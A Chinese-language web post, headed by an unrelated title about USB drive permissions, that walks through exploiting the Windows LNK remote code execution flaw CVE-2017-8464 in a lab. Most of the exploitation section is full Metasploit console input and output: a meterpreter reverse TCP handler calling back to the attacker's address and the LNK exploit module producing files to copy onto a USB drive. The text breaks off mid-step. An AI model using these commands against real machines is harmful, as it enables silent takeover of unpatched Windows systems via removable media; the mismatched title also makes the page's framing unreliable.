u盘如何取权限没有安全-(u盘需要权限怎么解除没有安全选项)

u盘子怎么取权限不安全？ (u如何解除盘需要权限的无安全选项？

17年的问题，最近清理了之前磁盘的文件，发现这个记录文件写在这里。

引言

2017年6月中旬微软发布的补丁包含了一个关于补丁的信息LNK远程代码执行文件的漏洞，CVE编号为CVE-2017-8464描述如果系统处理恶意.LNK远程执行代码可远程执行代码，成功利用该漏洞将获得与本地用户相同的用户权限，攻击者可以通过任何移动驱动器(如U盘)或远程共享传播攻击。我们用U盘测试，当受害者主机加载U盘时，就会受到攻击，受害者无需手动点击访问U盘，断开U盘shell会话保持。

任何未安装都会受到影响CVE-2017-8464补丁的Windows系统，可绕过MS10-046 & MS15-020补丁防护，涉及Microsoft Windows 10、Microsoft Windows 7、Microsoft Windows 8、Microsoft Windows 8.1、Microsoft Windows Server 2008、Microsoft Windows Server 2012、Microsoft Windows Server 2016。

漏洞利用

测试环境：

攻击机：kali 2.0（192.168.80.226）

靶机：win7 x64（192.168.80.114）

1、下载exp放在kali对应目录(新版)kali应该自带)，以此为例（kali2.0：/usr/share/metasploit-framework/modules/exploit/windows/smb/），在kali里配置监听

msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcpPAYLOAD => windows/x64/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.80.226LHOST => 192.168.80.226msf exploit(handler) > exploit -j[*]Exploit running as background job.[*]Started reverse TCP handler on 192.168.80.226:4444msf exploit(handler) >[*]Starting the payload handler...back

msf > use exploit/windows/smb/cve_2017_8464_lnk_rcemsf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcpPAYLOAD => windows/x64/meterpreter/reverse_tcpmsf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.80.226LHOST => 192.168.80.226

msf exploit(cve_2017_8464_lnk_rce) > exploit

成功执行后，//root/.msf4/local/*目录生成.dll和.lnk文件

2、在kali加载U盘，将文件复制到U盘根目录

查看加载U盘：